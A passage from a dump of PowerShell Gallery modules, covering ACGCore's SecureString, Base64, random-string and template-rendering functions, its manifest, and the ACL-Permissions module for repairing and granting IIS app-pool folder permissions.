$bytes = for($i = 0; $i -lt 32; $i++) { $r.next(0, 256) }
}
$convertArgs.Key = $bytes
return @{
String = ConvertFrom-SecureString @ConvertArgs
Key = [System.Convert]::ToBase64String($convertArgs.Key)
}
}
x509.unmanaged {
return convertTo-CertificateSecuredString -SecureString $SecureString -Certificate $Certificate
}
x509.managed {
return convertTo-CertificateSecuredString -SecureString $SecureString -Thumbprint $Thumbprint
}
plain {
$Marshal = [Runtime.InteropServices.Marshal]
$bstr = $Marshal::SecureStringToBSTR($SecureString)
$r = $Marshal::ptrToStringAuto($bstr)
$Marshal::ZeroFreeBSTR($bstr)
return $r
}
}
}
# END: source\securestrings\Export-SecureString.ps1
# START: source\securestrings\Import-SecureString.ps1
<#
.SYNOPSIS
Imports a provided string into the current context as a SecureString.
.PARAMETER DPAPIKey
A Base64-encoded string corresponding to a 128, 192 or 256 bit key that should be used to decrypt the string.
.PARAMETER Thumbprint
Thumbprint of a certificate to use when decrypting the string.
The cmdlet llooks in the entire certificate store.
If no certificate matching the thumbprint can be found, or if none of the found certificates have an
associated private key, the Cmdlet will throw an exception.
.PARAMETER NoEncryption
Indicates that the string is not encrypted an should be imported as-is.
This is functionally the same as writing (for a given string $s):
ConvertTo-SecureString -String $s -AsPlaintext -Force
#>
Function Import-SecureString {
[CmdletBinding(DefaultParameterSetName='dpapi')]
param(
[Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, HelpMessage="The exported SecureString to import")]
[string]$String,
[Parameter(Mandatory=$false, ParameterSetName='dpapi.key', HelpMessage='A base64 encoded key (128, 192 or 256 bits) to use when encrypting the string. If this parameter is not specified when the $UseKey switch is set, a random 256 bit key will be generated.')]
[ValidateScript({
# Verify that this is a valid Base64 string:
$base64Pattern = "^[a-z0-9+\/\r\n]+={0,2}$"
if ($_.Length % 4 -ne 0) {
$msg = "Invalid base64 string provided as Key: string length should be evenly divisble by 4, current string length mod 4 is {0} ('{1}')" -f ($_.Length % 4), $_
throw $msg
}
if ($_ -notmatch $base64Pattern) {
$msg = "Invalid base64 string provided as Key: '{0}' contains invalid charactes." -f $_
throw $msg
}
return $true
})]
[Alias('Key')]
[string] $DPAPIKey,
[Parameter(Mandatory=$true, ParameterSetName='x509.unmanaged', HelpMessage='Certificate that should be used to encrypt the resulting string. Warning: the certificate object must include the corresponding private key.')]
[System.Security.Cryptography.X509Certificates.X509Certificate] $Certificate,
[Parameter(Mandatory=$true, ParameterSetName='x509.managed', HelpMessage='Thumbprint of the certificate that should be used to decrypt the resulting string. Warning: you will need the corresponding private key.')]
[string] $Thumbprint,
[Parameter(Mandatory=$true, ParameterSetName='plain', HelpMessage='Disable encryption, causing the plain text be base64 encoded.')]
[switch] $NoEncryption
)
switch ($PSCmdlet.ParameterSetName) {
dpapi {
return ConvertTo-SecureString -String $String
}
dpapi.key {
$keyBytes = [convert]::FromBase64String($DPAPIKey)
return ConvertTo-SecureString -String $string -Key $keyBytes
}
x509.unmanaged {
try {
return ConvertFrom-CertificateSecuredString -CertificateSecuredString $String -Certificate $Certificate
} catch {
$msg = "Failed to decrypt the string using certificat (Subject: {0}). See inner exception for details." -f $Certificate.Subject
$ex = New-Object System.Exception $msg, $_.Exception
throw $ex
}
}
x509.managed {
try {
return ConvertFrom-CertificateSecuredString -CertificateSecuredString $String -Thumbprint $Thumbprint
} catch {
$msg = "Failed to decrypt the string using certificat (Thumbprint: {0}). See inner exception for details." -f $Thumbprint
$ex = New-Object System.Exception $msg, $_.Exception
throw $ex
}
}
plain {
return ConvertTo-SecureString -String $String -AsPlainText -Force
}
}
}
# END: source\securestrings\Import-SecureString.ps1
# START: source\securestrings\Unlock-SecureString.ps1
<#
.SYNOPSIS
Transforms a SecureString back into a plain string. Must the run by the same user, on the same computer where it was produced.
.DESCRIPTION
Transforms a SecureString back into a plain string. Must the run by the same user, on the same computer where it was produced.
This is a wrapper for Export-SecureString, and is equivalent to:
Export-SecureString -SecureString $SecureString -NoEncryption
.PARAMETER SecureString
SecureString to unlock.
#>
function Unlock-SecureString {
param(
[Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true)]
[ValidateNotNull()]
[Alias('SecString')] # Backwards compatibility for pre version 0.10.0.
[SecureString]$SecureString
)
return Export-SecureString -SecureString $SecureString -NoEncryption
}
# END: source\securestrings\Unlock-SecureString.ps1
# ACGCore.strings
# START: source\strings\ConvertFrom-Base64String.ps1
<#
.DESCRIPTION
Converts the provided Base64 encoded string to a regular string.
#>
function ConvertFrom-Base64String {
[CmdletBinding(DefaultParameterSetName="Encoding")]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true, Position=1, HelpMessage="Base64-encoded string to convert.")]
[ValidatePattern('^([a-z0-9+\/]+={0,2})?$')]
[ValidateScript({
if ($_.Length % 4 -ne 0) {
$msg = "Invalid string length. Base64-encoded strings should have a length evently divisible by 4, found {0} ('{1}')" -f $_.Length, $_
throw $msg
}
return $true
})]
[string]$Base64String,
[Parameter(Mandatory=$false, Position=2, HelpMessage="Encoding to convert the string into.")]
[System.Text.Encoding]$OutputEncoding = [System.Text.Encoding]::default,
[Parameter(Mandatory=$true, ParameterSetName="Raw", HelpMessage="Disable output encoding, returns a byte array.")]
[switch]$NoEncoding
)
process {
foreach($s in $Base64String) {
if ($s.Length % 4 -ne 0) {
Throw
}
$bytes = [convert]::FromBase64String($Base64String)
if ($PSCmdlet.ParameterSetName -eq "Raw") {
$bytes
} else {
$OutputEncoding.GetString($bytes)
}
}
}
}
# END: source\strings\ConvertFrom-Base64String.ps1
# START: source\strings\ConvertFrom-UnicodeEscapedString.ps1
#ConvertFrom-UnicodeEscapedString.ps1
function ConvertFrom-UnicodeEscapedString {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[string]$InString
)
return [System.Text.RegularExpressions.Regex]::Unescape($InString)
}
# END: source\strings\ConvertFrom-UnicodeEscapedString.ps1
# START: source\strings\ConvertTo-Base64String.ps1
<#
.DESCRIPTION
Converts the provided string to a Base64-encoded string.
#>
function ConvertTo-Base64String {
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true, Position=1, HelpMessage="String to convert to Base64.")]
[ValidateNotNull()]
[string[]]$String,
[Parameter(Mandatory=$false, Position=2, HelpMessage="The encoding of the string to convert.")]
[System.Text.Encoding]$InputEncoding = [System.Text.Encoding]::Default
)
process {
foreach ($s in $String) {
if ($String -eq '') {
''
} else {
$bytes = $InputEncoding.GetBytes($String)
[convert]::ToBase64String($bytes)
}
}
}
}
# END: source\strings\ConvertTo-Base64String.ps1
# START: source\strings\ConvertTo-UnicodeEscapedString.ps1
#ConvertTo-UnicodeEscapedString.ps1
function ConvertTo-UnicodeEscapedString {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[String]$inString
)
$sb = New-Object System.Text.StringBuilder
$inChars = [char[]]$inString
foreach ($c in $inChars) {
$encV = if ($c -gt 127) {
"\u"+([int]$c).ToString("X4")
} else {
$c
}
$sb.Append($encV) | Out-Null
}
return $sb.ToString()
}
# END: source\strings\ConvertTo-UnicodeEscapedString.ps1
# START: source\strings\New-RandomString.ps1
<#
.SYNOPSIS
Generates a new random string of a given length using the given pool of candidate characters.
.PARAMETER Length
Number of characters in the string.
Minimum length is 0. Default is 8.
.PARAMETER Characters
String of candidate characters that will be used in the generated string.
If a character appears more than once, it will be most likely to appear in the
generated string.
Minimum length is 1.
This defaults to "abcdefghijklmnopqrstuvwxyz0123456789-_".
.PARAMETER CharacterSet
Alternatively to specifying a string of candidate Characters, use a predefined set:
- Binary: 0 and 1
- Base8: Numbers 0-7
- Base16: Numbers 0-9 and characters a-f
- Alphanumeric: All characters from the english alphabet (a-z) and numbers 0-9.
- Base64: All characters a-z, numbers 0-9 and the symbols '+', '/' ('=' is excluded because it is used for padding and MUST appear at the end of the string).
.PARAMETER ReturnType
The type of object to return:
- String: Just return the plain string ([string]).
- Bytes: Converts the string into an array of bytes ([byte[]]) before returning it.
- Base64: Converts the string into a bas64 representation before returning it.
- SecureString: Return the string as a SeureString object ([SecureString]).
.PARAMETER AsSecureString
Return the generated string as a SecureString instead of a plain String.
#>
function New-RandomString {
[CmdletBinding(DefaultParameterSetName="Candidates")]
param(
[Parameter(Mandatory=$false, HelpMessage="Length of the string to generate.")]
[ValidateScript({if ($_ -ge 0) { return $true }; throw "Invalid Length requested ($_), cannot generate a string of negative length." })]
[int]$Length=8,
[Parameter(Mandatory=$false, ParameterSetName="Candidates", HelpMessage="String of candidate characters.")]
[ValidateNotNullOrEmpty()]
[string]$Characters="abcdefghijklmnopqrstuvwxyz0123456789-_",
[Parameter(Mandatory=$true, ParameterSetName="CharacterSet", HelpMessage="The set of characters that the string should consist of.")]
[ValidateSet('Binary', 'Base8', 'Base10', 'Base16', 'Alphanumeric', 'Base64')]
[string]$CharacterSet,
[Parameter(Mandatory=$false, HelpMessage="Format to return the string in (default 'String').")]
[ValidateSet("String", "Base64", "Bytes", "SecureString")]
[string]$ReturnFormat="String",
[Parameter(Mandatory=$false, HelpMessage="Determines if selected characters will retain their original case.")]
[bool]$RandomCase=$true,
[Parameter(Mandatory=$false, HelpMessage="Causes the string to be returned as a SecureString. For legacy reasons, this overrides `$ReturnFormat.")]
[switch]$AsSecureString
)
if ($Length -eq 0) {
# Zero length string requested, return empty string.
return ""
}
if ($PSCmdlet.ParameterSetName -eq "CharacterSet") {
$Characters = switch ($CharacterSet) {
Binary {
"01"
}
Base8 {
"01234567"
}
Base10 {
"0123456789"
}
Base16 {
"0123456789abcdef"
}
Alphanumeric {
"0123456789abcdefghijklmnopqrstuvwxyz"
}
Base64 {
"0123456789abcdefghijklmnopqrstuvwxyz+/"
}
}
}
$rng = $script:__RNG
if ($AsSecureString -or ($ReturnFormat -eq "SecureString")) {
$password = New-Object securestring
for ($i = 0; $i -lt $Length; $i++) {
$c = $Characters[$rng.Next($Characters.Length)]
if ($RandomCase) {
$c = if ($rng.Next(10) -gt 4) {
[char]::ToUpper($c)
} else {
[char]::ToLower($c)
}
}
$password.AppendChar($c)
}
return $password
}
$password = ""
for ($i = 0; $i -lt $Length; $i++) {
$c = $Characters[$rng.Next($Characters.Length)]
if ($RandomCase) {
$c = if ($rng.Next(10) -gt 4) {
[char]::ToUpper($c)
} else {
[char]::ToLower($c)
}
}
$password += $c
}
switch($ReturnFormat) {
String {
return $password
}
Bytes {
return [System.Text.Encoding]::Default.GetBytes($password)
}
Base64 {
$bytes = [System.Text.Encoding]::Default.GetBytes($password)
return [System.Convert]::ToBase64String($bytes)
}
}
}
# END: source\strings\New-RandomString.ps1
# ACGCore.templates
# START: source\templates\_buildTemplateDigest.ps1
function _buildTemplateDigest{
param($template, $StartTag, $EndTag, $templateCache)
$EndTagStart = $EndTag[0]
if ($EndTagStart -eq '\') {
$EndTagStart.Substring(0, 2)
}
$EndTagRemainder = $EndTag.Substring($EndTagStart.Length)
$InterpolationRegex = "{0}(\((?<path>.+)\)|(?<command>([^{1}]|{1}(?!{2}))+)){3}" -f $StartTag, $EndTagStart, $EndTagRemainder, $EndTag
Write-Debug "Building digest..."
$__c__ = $templateCache
$__c__.Digest = @()
$__regex__ = New-Object regex ($InterpolationRegex, [System.Text.RegularExpressions.RegexOptions]::Multiline)
$__meta__ = @{ LastIndex = 0 }
$__regex__.Replace(
$template,
{
param($match)
# Isolate information about the expression.
$__li__ = $__meta__.LastIndex
$__g0__ = $match.Groups[0]
$__path__ = $match.Groups["path"]
$__command__= $match.Groups["command"]
# Collect string literal preceeding this expression and add it to the digest.
$__ls__ = $template.Substring($__li__, ($__g0__.index - $__li__))
$__meta__.LastIndex = $__g0__.index + $__g0__.length
$__c__.Digest += $__ls__
# Process the expression:
if ($__command__.Success) {
# Expression is a command: turn it into a script block and add it to the digest.
$__c__.Digest += [scriptblock]::create($__command__.value)
} elseif ($__path__.Success){
# Expand any variables in the path and add the expanded path to digest:
$p = $ExecutionContext.InvokeCommand.ExpandString($__path__.Value)
$__c__.Digest += @{ path=$p }
}
$__meta__ | Out-String | Write-Debug
}
) | Out-Null
if ($__meta__.LastIndex -lt $template.length) {
$__c__.Digest += $template.substring($__meta__.LastIndex)
}
}
# END: source\templates\_buildTemplateDigest.ps1
# START: source\templates\Format-Template.ps1
<#
.SYNOPSIS
Renders a template file.
.DESCRIPTION
Renders a template file of any type (HTML, CSS, RDP, etc..) using powershell expressions
written between '<<' and '>>' markers to interpolate dynamic values.
Files may also be included into the template by using <<(<path to file>)>>, if the file is
a .ps1 file it will be interpreted as an expression to be executed, otherwise it will be
treated as a template file and rendered using the same Values.
.PARAMETER templatePath
The path to the template file that should be rendered (relative or fully qualified,
UNC paths not supported).
.PARAMETER values
A hashtable of values that should be used when resolving powershell expressions.
The keys in this hashtable will introduced as variables into the resolution context.
The $values variable itself is available as well.
.PARAMETER Cache
A hashtable used to cache the results of loading template files.
Passing this parameter allows you to retain the cache between calls to Format-Template,
otherwise a new hashtable will be generated for each call to Format-Template.
Recursive calls to Format-Template will attempt to reuse the same cache object.
During rendering the cache is available as '$__RenderCache'.
.PARAMETER StartTag
Tag used to indicate the start of a section in the text that should be interpolated.
This string will be treated as a regular expression, so any special characters
('*', '+', '[', ']', '(', ')', '\', '?', '{', '}', etc) should be escaped with a '\'.
The default start tag is '<<'.
.PARAMETER EndTag
Tag used to indicate the end of a section in the text that should be interpolated.
This string will be treated as a regular expression, so any special characters
('*', '+', '[', ']', '(', ')', '\', '?', '{', '}', etc) should be escaped with a '\'.
The default end tag is '>>'.
.EXAMPLE
Contents of .\page.template.html:
<h1><<$Title>></he1>
<h2><<$values.Chapter1>></h2>
<<(.\pages\1.html)>>
Contents of .\pages\1.html:
It was the best of times, it was the worst of times.
Running:
$details = @{
Title = "A tale of two cities"
Chapter1 = "The Period"
}
Format-Template .\page.template.html $details
Will yield:
<h1>A tale of two cities</h1>
<h2>The Period</h2>
It was the best of times, it was the worst of times.
.NOTES
The markup using the default '<<' and '>>' tags to denote the start and end of an interpolated
expression precludes the use of the '>>' output operator in the expressions. This is considered
acceptable, since the intention of the expressions is to introduce values into the text,
rather than writing to the disk.
Any expression that is so complicated that you might need to write to the disk should
probably be handled as a closure or a function passed in via the $values parameter, or
a file included using a <<()>> expression.
Alternatively, you can use the the EndTag parameter top provide another acceptable end tag (e.g. '!>>').
#>
function Format-Template{
[CmdletBinding(DefaultParameterSetName="TemplatePath")]
param(
[parameter(
Mandatory=$true,
Position=1,
ParameterSetName="TemplatePath",
HelpMessage="Path to the template file that should be rendered. Available when rendering."
)]
[String]$TemplatePath,
[parameter(
Mandatory=$false,
ParameterSetName="TemplatePath",
HelpMessage="Character Encoding of the template file (defaults to UTF8)."
)]
[Microsoft.PowerShell.Commands.FileSystemCmdletProviderEncoding]$TemplateEncoding = [Microsoft.PowerShell.Commands.FileSystemCmdletProviderEncoding]::UTF8,
[parameter(
Mandatory=$true,
Position=1,
ParameterSetName="TemplateString",
HelpMessage="Template string to render."
)]
[String]$TemplateString,
[parameter(
Mandatory=$true,
Position=2,
HelpMessage="Hashtable with values used when interpolating expressions in the template. Available when rendering."
)]
[hashtable]$Values,
[Parameter(
Mandatory=$false,
Position=3,
HelpMessage='Optional Hashtable used to cache the content of files once they are loaded. Pass in a hashtable to retain cache between calls. Available as $__RenderCache when rendering.'
)]
[hashtable]$Cache = $null,
[Parameter(
Mandatory=$false,
HelpMessage='Tag used to open interpolation sections. Regular Expression.'
)]
[string]$StartTag = $script:__InterpolationTags.Start,
[Parameter(
Mandatory=$false,
HelpMessage='Tag used to close interpolation sections. Regular expression.'
)]
[string]$EndTag = $script:__InterpolationTags.End
)
$script:__InterpolationTagsHistory.Push($script:__InterpolationTags)
$script:__InterpolationTags = @{
Start = $StartTag
End = $EndTag
}
trap {
$script:__InterpolationTags = $script:__InterpolationTagsHistory.Pop()
throw $_
}
if ($Cache) {
Write-Debug "Cache provided by caller, updating global."
$script:__RenderCache = $Cache
}
if ($null -eq $Cache) {
Write-Debug "Looking for cache..."
if ($Cache = $script:__RenderCache) {
Write-Debug "Using global cache."
} elseif ($cacheVar = $PSCmdlet.SessionState.PSVariable.Get("__RenderCache")) {
# This is a recursive call, we can reuse the cache from parent.
$Cache = $cacheVar.Value
Write-Debug "Found cache in parent context."
}
}
if ($null -eq $cache) {
Write-Debug "Failed to get cache from parent. Creating new cache."
$Cache = @{}
$script:__RenderCache = $Cache
}
# Getting template string:
$template = $null
switch ($PSCmdlet.ParameterSetName) {
TemplatePath {
# Loading template from file, and adding it to cache:
$templatePath = Resolve-Path $templatePath
Write-Debug "Path resolved to '$templatePath'"
if ($Cache.ContainsKey($templatePath)) {
Write-Debug "Found path in cache..."
try {
$item = Get-Item $TemplatePath
if ($item.LastWriteTime.Ticks -gt $Cache[$templatePath].LoadTime.Ticks) {
Write-Debug "Cache is out-of-date, reloading..."
$t = Get-Content -Path $templatePath -Raw -Encoding $TemplateEncoding
$Cache[$templatePath] = @{ Value = $t; LoadTime = [datetime]::now }
}
} catch { <# Do nothing for now #> }
$template = $Cache[$templatePath].Value
} else {
Write-Debug "Not in cache, loading..."
$template = Get-Content -Path $templatePath -Raw -Encoding $TemplateEncoding
$Cache[$templatePath] = @{ Value = $template; LoadTime = [datetime]::now }
}
}
TemplateString {
$template = $TemplateString
}
}
# Move Cache out of the of possible user-space values.
$__RenderCache = $Cache
Remove-Variable "Cache"
# Defining TemplateDir here to make it accessible when evaluating scriptblocks.
$TemplateDir = switch ($PSCmdlet.ParameterSetName) {
TemplatePath {
$templatePath | Split-Path -Parent
}
TemplateString {
# Using a template string, so use current working directory:
$pwd.Path
}
}
# Get the digest of the template string:
$__digest__ = switch ($PSCmdlet.ParameterSetName) {
TemplatePath {
# Using a template file, check if we already have a digest in the cache:
if (!$__RenderCache[$templatePath].ContainsKey("Digest")) {
_buildTemplateDigest $template $StartTag $EndTag $__RenderCache[$templatePath]
}
$__RenderCache[$templatePath].Digest
}
TemplateString {
# Using a template string, don't add it to the cache:
$c = @{}
_buildTemplateDigest $template $StartTag $EndTag $c
$c.Digest
}
}
# Expand values into user-space to make them more accessible during render.
$values.GetEnumerator() | ForEach-Object {
New-Variable $_.Name $_.Value
}
Write-Debug "Starting Render..."
$__parts__ = $__digest__ | ForEach-Object {
$__part__ = $_
switch ($__part__.GetType()) {
"hashtable" {
if ($__part__.path) {
Write-Debug "Including path..."
$__c__ = Format-Template -TemplatePath $__part__.path -Values $Values
if ($__part__.path -like "*.ps1") {
$__s__ = [scriptblock]::create($__c__)
try {
$__s__.Invoke()
} catch {
$msg = "An unexpected exception occurred while Invoking '{0}'." -f $__part__.path
$e = New-Object System.Exception $msg, $_.Exception
throw $e
}
} else {
$__c__
}
}
}
"scriptblock" {
try {
$__part__.invoke()
} catch {
$msg = "An unexpected exception occurred while rendering an expression: '{0}'." -f $__part__
$e = New-Object System.Exception $msg, $_.Exception
throw $e
}
}
default {
$__part__
}
}
}
$script:__InterpolationTags = $script:__InterpolationTagsHistory.Pop()
$__parts__ -join ""
}
# END: source\templates\Format-Template.ps1
|
ACGCore.psd1 | ACGCore-0.23.0 | #
# Module manifest for module 'ACGCore'
#
# Generated by: Joakim Olsson <[email protected]>
#
# Generated on: 8/17/2023
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ACGCore.psm1'
# Version number of this module.
ModuleVersion = '0.23.0'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'a23a3868-3ab6-43a7-b6ef-b61979b55582'
# Author of this module
Author = 'Joakim Olsson <[email protected]>'
# Company or vendor of this module
CompanyName = 'Adicitus Concepts Group'
# Copyright statement for this module
Copyright = '(c) 2023 Joakim Olsson <[email protected]>. All rights reserved.'
# Description of the functionality provided by this module
Description = 'Set of core tools used in projects @ Cornerstone Group AB (Formerly ACGroup).'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
RequiredModules = @(@{ModuleName = 'shoutout'; GUID = '3f16ec91-ba22-47a9-8099-25807e68e88b'; ModuleVersion = '1.0.1'; })
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = 'Read-ConfigFile', 'RegexPatterns', 'Format-Template', 'Test-Condition',
'Wait-Condition', 'Write-ConfigFile', 'Reset-Module', 'New-Shortcut',
'Get-ACGCoreRegexPattern', 'Get-ACGCoreRegexPatternNames',
'Test-ACGCoreRegexPattern', 'Unlock-SecureString',
'ConvertTo-CertificateSecuredString',
'ConvertFrom-CertificateSecuredString', 'Import-SecureString',
'Export-SecureString', 'Restore-PSCredential', 'New-PSCredential',
'Save-PSCredential', 'ConvertFrom-PSCredential',
'ConvertTo-PSCredential', 'Add-LogonOp', 'Add-EnvironmentPath',
'Get-RegValue', 'Get-EnvironmentPaths', 'Remove-LogonOp',
'Remove-EnvironmentPath', 'Set-ProcessPrivilege', 'Set-RegValue',
'Set-RegKeyOwner', 'Set-WinAutoLogon', 'ConvertTo-Base64String',
'ConvertTo-UnicodeEscapedString', 'ConvertFrom-Base64String',
'ConvertFrom-UnicodeEscapedString', 'New-RandomString'
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = '~', 'Save-Credential', 'Load-Credential', 'Load-PSCredential',
'Parse-ConfigFile', 'Create-Shortcut', 'Render-Template',
'Run-Operation', 'Query-RegValue', 'Steal-RegKey'
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = 'PSCredential', 'SecureString', 'Template', 'Serialization',
'Credentials', 'Passwords'
# A URL to the license for this module.
# LicenseUri = ''
# A URL to the main website for this project.
ProjectUri = 'https://github.com/Adicitus/acgcore'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
ACL-Permissions.psm1 | ACL-Permissions-1.1.0 | #Requires -Modules AdministratorRole
Set-StrictMode -Version Latest
function Repair-AclCorruption {
param(
[parameter(Mandatory = $true, position = 0)]$directory);
$out = icacls "$directory" /verify /t /q
foreach ($line in $out) {
if ($line -match '(.:[^:]*): (.*)') {
$path = $Matches[1]
Set-Acl $path (Get-Acl $path)
}
}
<#
.SYNOPSIS
Fixes ACLs on the directory (and its ancestors) that have become corrupted
.DESCRIPTION
When the error message "This access control list is not in canonical form and therefore cannot be modified." comes up, you can use this to fix the ACLs
Based on https://gist.github.com/vbfox/8fbec5c60b0c16289023, found from http://serverfault.com/a/287702/4110
.PARAMETER directory
The path to the directory to which to apply permissions
.PARAMETER username
The username of the account to which to give permissions
.PARAMETER domain
The domain of the account to which to give permissions, defaults to the App Pool Identity domain
#>
}
function Set-ModifyPermission {
[CmdletBinding(SupportsShouldProcess)]
param(
[parameter(Mandatory = $true, position = 0)]$directory,
[parameter(Mandatory = $true, position = 1)]$username,
$domain = 'IIS APPPOOL');
Assert-AdministratorRole
$inherit = [system.security.accesscontrol.InheritanceFlags]"ContainerInherit, ObjectInherit"
$propagation = [system.security.accesscontrol.PropagationFlags]"None"
if ($domain -eq 'IIS APPPOOL') {
Import-Module IisAdministration;
$serverManager = Get-IISServerManager;
$appPool = $serverManager.APplicationPools[$username];
$sid = $appPool.attributes['applicationPoolSid'].Value;
$identifier = New-Object System.Security.Principal.SecurityIdentifier($sid)
$user = $identifier.Translate([System.Security.Principal.NTAccount])
}
else {
$user = New-Object System.Security.Principal.NTAccount($domain, $username)
}
$accessrule = New-Object system.security.AccessControl.FileSystemAccessRule($user, "Modify", $inherit, $propagation, "Allow")
if ($PSCmdlet.ShouldProcess($directory)) {
Repair-AclCorruption $directory
$acl = Get-Acl $directory
$acl.AddAccessRule($accessrule)
set-acl -aclobject $acl $directory
}
<#
.SYNOPSIS
Gives the given user the modify permission to the given directory
.PARAMETER directory
The path to the directory to which to apply permissions
.PARAMETER username
The username of the account to which to give permissions
.PARAMETER domain
The domain of the account to which to give permissions, defaults to the App Pool Identity domain
#>
}
Export-ModuleMember Set-ModifyPermission
Export-ModuleMember Repair-AclCorruption
|
ACL-Permissions.psd1 | ACL-Permissions-1.1.0 | #
# Module manifest for module 'ACL-Permissions'
#
# Generated by: Brian Dukes
#
# Generated on: 10/10/2016
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ACL-Permissions.psm1'
# Version number of this module.
ModuleVersion = '1.1.0'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = '908787a0-5a50-43c8-816a-7fa411b4e562'
# Author of this module
Author = 'Brian Dukes'
# Company or vendor of this module
CompanyName = 'Engage Software'
# Copyright statement for this module
Copyright = '(c) 2022 Engage Software'
# Description of the functionality provided by this module
Description = 'A couple of ACL utilities, for repairing corrupt permissions and applying permissions for IIS AppPool identities'
# Minimum version of the Windows PowerShell engine required by this module
# PowerShellVersion = ''
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
RequiredModules = @( @{ ModuleName = 'AdministratorRole'; ModuleVersion = '1.0.1'; GUID = '694c2097-6b13-4735-8d6e-396224d646cc' },
@{ ModuleName = 'IISAdministration'; ModuleVersion = '1.1.0.0' } )
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @('Set-ModifyPermission', 'Repair-AclCorruption')
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = @()
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
FileList = 'ACL-Permissions.psm1'
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('PSEdition_Core', 'PSEdition_Desktop', 'Windows')
# A URL to the license for this module.
LicenseUri = 'https://github.com/bdukes/PowerShellModules/blob/main/LICENSE'
# A URL to the main website for this project.
ProjectUri = 'https://github.com/bdukes/PowerShellModules'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
ReleaseNotes = 'https://github.com/bdukes/PowerShellModules/blob/main/CHANGES.md'
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
ACLCleanup.psd1 | ACLCleanup-1.0.1 | #
# Module manifest for module 'PSGet_ACLCleanup'
#
# Generated by: Robert Amartinesei
#
# Generated on: 2017-01-25
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ACLCleanup.psm1'
# Version number of this module.
ModuleVersion = '1.0.1.0'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = '002e043a-1945-4e21-9fcc-cb675278837f'
# Author of this module
Author = 'Robert Amartinesei'
# Company or vendor of this module
CompanyName = 'Unknown'
# Copyright statement for this module
Copyright = '(c) 2017 Robert Amartinesei. All rights reserved.'
# Description of the functionality provided by this module
Description = 'A set of tools to help you clean your fileshares access control lists'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
